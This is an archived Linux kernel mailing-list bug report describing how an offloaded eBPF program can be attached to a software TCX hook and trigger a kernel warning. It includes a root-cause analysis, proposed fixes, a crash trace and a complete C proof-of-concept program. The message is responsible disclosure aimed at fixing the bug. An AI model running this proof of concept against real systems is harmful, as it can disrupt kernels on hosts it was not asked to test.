[<prev] [next>] [day] [month] [year] [list]
Message-ID: <64d8e2b5-a214-4f3c-b9e8-bcedbcb2c602@hust.edu.cn>
Date: Tue, 25 Nov 2025 22:58:30 +0800
From: Yinhao Hu <dddddd@...t.edu.cn>
To: bpf@...r.kernel.org, netdev@...r.kernel.org
Cc: martin.lau@...ux.dev, daniel@...earbox.net, john.fastabend@...il.com,
sdf@...ichev.me, ast@...nel.org, andrii@...nel.org, eddyz87@...il.com,
song@...nel.org, yonghong.song@...ux.dev, kpsingh@...nel.org,
haoluo@...gle.com, jolsa@...nel.org, dzm91@...t.edu.cn,
M202472210@...t.edu.cn, hust-os-kernel-patches@...glegroups.com
Subject: bpf: Warning triggered when attaching offloaded program to software
TCX hook
Our tool discovered a vulnerability in the eBPF TCX subsystem, which
allows a BPF program marked for hardware offload (e.g., using
`netdevsim`) to be attached to a software TCX hook on a standard network
interface.
When the kernel processes a packet and triggers the TCX hook, it
executes the offloaded program's host-side entry point. Since the
program is offloaded, its bytecode is replaced with a trap function
(`bpf_prog_warn_on_exec`). Triggering this path results in a kernel
WARNING ("attempt to execute device eBPF program on the host!").
Reported-by: Yinhao Hu <dddddd@...t.edu.cn>
Reported-by: Kaiyan Mei <M202472210@...t.edu.cn>
Reviewed-by: Dongliang Mu <dzm91@...t.edu.cn>
## Root Cause and Trigger Analysis
The execution flow is as follows:
1. Program Load (Forced Offload): When userspace loads a
`BPF_PROG_TYPE_SCHED_CLS` program and specifies a `prog_ifindex`
pointing to a device that supports offload (such as `netdevsim`), the
kernel function `bpf_prog_dev_bound_init` (in `kernel/bpf/offload.c`)
sets `prog->aux->offload_requested = true`. Subsequently,
`bpf_prog_offload_compile` replaces the program's execution entry point
(`bpf_func`) with `bpf_prog_warn_on_exec`.
2. Attachment (The Missing Check): The user attaches this program to a
standard interface (e.g., `lo`) using `BPF_LINK_CREATE` with
`BPF_TCX_EGRESS`. The kernel functions `tcx_prog_attach` and
`tcx_link_attach` (in `kernel/bpf/tcx.c`) fail to verify if the program
is offloaded. They proceed to attach the "trap" program to the software
path via `bpf_mprog_attach`.
3. Trigger: When a network packet traverses the egress path
(`__dev_queue_xmit` -> `sch_handle_egress`), `tcx_run` invokes the BPF
program. Since the entry point is `bpf_prog_warn_on_exec`, the kernel
warning is triggered immediately.
## Recommended Fix
The most direct fix might be to add a check in `kernel/bpf/tcx.c` to
explicitly reject programs where `prog->aux->offload_requested` is true.
This should be applied to both `tcx_prog_attach` and `tcx_link_attach`.
Alternatively, the check can be placed in `kernel/bpf/syscall.c` inside
`link_create` or `bpf_prog_attach_check_attach_type`. However, since not
all attachment types forbid offloading (e.g., XDP can be offloaded), a
generic check would need to be specific to `BPF_TCX_*` types, which
might break the subsystem encapsulation.
## Crash Report
```yaml
[ 19.592982] ------------[ cut here ]------------
[ 19.594654] attempt to execute device eBPF program on the host!
[ 19.594659] WARNING: kernel/bpf/offload.c:420 at 0x0, CPU#0: poc/337
[ 19.599906] Modules linked in:
[ 19.600680] CPU: 0 UID: 0 PID: 337 Comm: poc Not tainted
6.18.0-rc7-next-20251125 #10 PREEMPT(none)
[ 19.601659] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX,
1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 19.602684] RIP: 0010:bpf_prog_warn_on_exec+0xc/0x20
[ 19.603241] Code: 28 00 48 89 ef e8 74 44 2f 00 eb d7 66 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 0f 1f 44 00 00 48 8d 3d a4 eb 95
06 <67> 48 0f b9 3a 31 c0 e9 83 76 44 ff 0f 1f 84 00 00 00 00 00 90 90
[ 19.605093] RSP: 0018:ffff8881066e73d8 EFLAGS: 00010246
[ 19.605663] RAX: ffffffff81cbca70 RBX: ffff8881013c4210 RCX:
0000000000000004
[ 19.606378] RDX: 1ffff11020278842 RSI: ffffc90000563060 RDI:
ffffffff8861b620
[ 19.607107] RBP: ffff8881010d0640 R08: ffff8881013c4210 R09:
ffff8881010d06b0
[ 19.607827] R10: ffff8881010d06c3 R11: ffffc90000563000 R12:
ffffc90000563000
[ 19.608751] R13: ffff8881010d06b4 R14: ffff888115eb1a34 R15:
dffffc0000000000
[ 19.609478] FS: 000000000294c380(0000) GS:ffff8881911e9000(0000)
knlGS:0000000000000000
[ 19.610316] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 19.610943] CR2: 000057f6b9eb38c0 CR3: 00000001010ea000 CR4:
0000000000750ef0
[ 19.611712] PKRU: 55555554
[ 19.612006] Call Trace:
[ 19.612281] <TASK>
[ 19.612523] __dev_queue_xmit+0x22cb/0x3530
[ 19.617607] ip_finish_output2+0x621/0x1a60
[ 19.621371] ip_output+0x170/0x2e0
[ 19.624586] ip_send_skb+0x129/0x180
[ 19.624940] udp_send_skb+0x65d/0x1300
[ 19.625316] udp_sendmsg+0x13bf/0x2000
[ 19.629960] __sys_sendto+0x396/0x470
[ 19.633720] __x64_sys_sendto+0xdc/0x1b0
[ 19.635066] do_syscall_64+0x76/0x10a0
[ 19.641701] entry_SYSCALL_64_after_hwframe+0x76/0x7e
[ 19.642240] RIP: 0033:0x4240d7
[ 19.642597] Code: 00 89 01 e9 c1 fe ff ff e8 f6 03 00 00 66 0f 1f 44
00 00 f3 0f 1e fa 80 3d 8d 3f 09 00 00 41 89 ca 74 10 b8 2c 00 00 00 0f
05 <48> 3d 00 f0 ff ff 77 69 c3 55 48 89 e5 53 48 83 ec 38 44 89 4d d0
[ 19.646088] RSP: 002b:00007fffcb9ecb68 EFLAGS: 00000202 ORIG_RAX:
000000000000002c
[ 19.648938] RAX: ffffffffffffffda RBX: 0000000000000001 RCX:
00000000004240d7
[ 19.652116] RDX: 0000000000000008 RSI: 00007fffcb9ecce0 RDI:
0000000000000005
[ 19.653148] RBP: 00007fffcb9eccf0 R08: 00007fffcb9ecbb0 R09:
0000000000000010
[ 19.653951] R10: 0000000000000000 R11: 0000000000000202 R12:
00007fffcb9ece08
[ 19.654760] R13: 00007fffcb9ece18 R14: 00000000004b2868 R15:
0000000000000001
[ 19.657462] </TASK>
[ 19.657703] ---[ end trace 0000000000000000 ]---
```
## Proof of Concept
The following C program should demonstrates the issue on linux-next
6.18.0-rc7-next-20251125 and bpf-next commit
590699d85823f38b74d52a0811ef22ebb61afddc:
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <linux/bpf.h>
#include <net/if.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#define BPF_MOV64_IMM(DST, IMM) ((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_MOV | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_EXIT_INSN() ((struct bpf_insn) { \
.code = BPF_JMP | BPF_EXIT, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = 0 })
static inline int sys_bpf(enum bpf_cmd cmd, union bpf_attr *attr,
unsigned int size) {
return syscall(__NR_bpf, cmd, attr, size);
}
// Try to create a netdevsim device to satisfy the offload requirement
int setup_netdevsim() {
int fd = open("/sys/bus/netdevsim/new_device", O_WRONLY);
if (fd >= 0) {
// Try to create device ID 10, Port 1. Ignore error if exists.
if (write(fd, "10 1", 4) < 0) {};
close(fd);
usleep(100000);
}
// Default name for netdevsim is usually eni10np1
return if_nametoindex("eni10np1");
}
int main(int argc, char **argv) {
int offload_ifindex = 0;
int target_ifindex = if_nametoindex("lo");
if (target_ifindex == 0) {
fprintf(stderr, "[-] Failed to get loopback ifindex\n");
return 1;
}
if (argc > 1)
offload_ifindex = atoi(argv[1]);
else
offload_ifindex = setup_netdevsim();
if (offload_ifindex == 0) {
fprintf(stderr, "[-] Valid offload interface not found. Need
netdevsim.\n");
return 1;
}
printf("[*] Offload ifindex: %d, Target ifindex: %d\n",
offload_ifindex, target_ifindex);
// 1. Load BPF Program
// Type: SCHED_CLS, bound to offload interface.
// Kernel will replace bpf_func with bpf_prog_warn_on_exec.
struct bpf_insn prog_insns[] = {
BPF_MOV64_IMM(BPF_REG_0, 0), // return 0
BPF_EXIT_INSN(),
};
union bpf_attr load_attr = {
.prog_type = BPF_PROG_TYPE_SCHED_CLS,
.insns = (unsigned long)prog_insns,
.insn_cnt = sizeof(prog_insns) / sizeof(struct bpf_insn),
.license = (unsigned long)"GPL",
.prog_ifindex = offload_ifindex, // Key: Force Offload Request
};
int prog_fd = sys_bpf(BPF_PROG_LOAD, &load_attr, sizeof(load_attr));
if (prog_fd < 0) {
perror("[-] BPF_PROG_LOAD failed");
return 1;
}
printf("[+] Program loaded (FD: %d). Host trap armed.\n", prog_fd);
// 2. Attach to Host Software Hook (TCX)
// Vulnerability: tcx_link_attach fails to check if prog is offloaded.
union bpf_attr link_attr = {
.link_create.prog_fd = prog_fd,
.link_create.target_ifindex = target_ifindex,
.link_create.attach_type = BPF_TCX_EGRESS,
};
int link_fd = sys_bpf(BPF_LINK_CREATE, &link_attr, sizeof(link_attr));
if (link_fd < 0) {
perror("[-] BPF_LINK_CREATE failed");
if (errno == EINVAL)
printf("[!] EINVAL received. Vulnerability likely PATCHED.\n");
close(prog_fd);
return 1;
}
printf("[+] Link attached (FD: %d). Vulnerability trigger ready.\n",
link_fd);
// 3. Trigger via Network Traffic
printf("[*] Sending packet to trigger warning...\n");
int sock = socket(AF_INET, SOCK_DGRAM, 0);
if (sock >= 0) {
struct sockaddr_in addr = {
.sin_family = AF_INET,
.sin_port = htons(12345),
.sin_addr.s_addr = htonl(INADDR_LOOPBACK)
};
char msg[] = "trigger";
if (sendto(sock, msg, sizeof(msg), 0, (struct sockaddr *)&addr,
sizeof(addr)) > 0) {
printf("[+] Packet sent. Check dmesg for 'attempt to execute
device eBPF program'.\n");
}
close(sock);
}
sleep(2); // Wait for kernel processing
close(link_fd);
close(prog_fd);
return 0;
}
```
View attachment "config-bpf" of type "text/plain" (123753 bytes)
Powered by blists - more mailing lists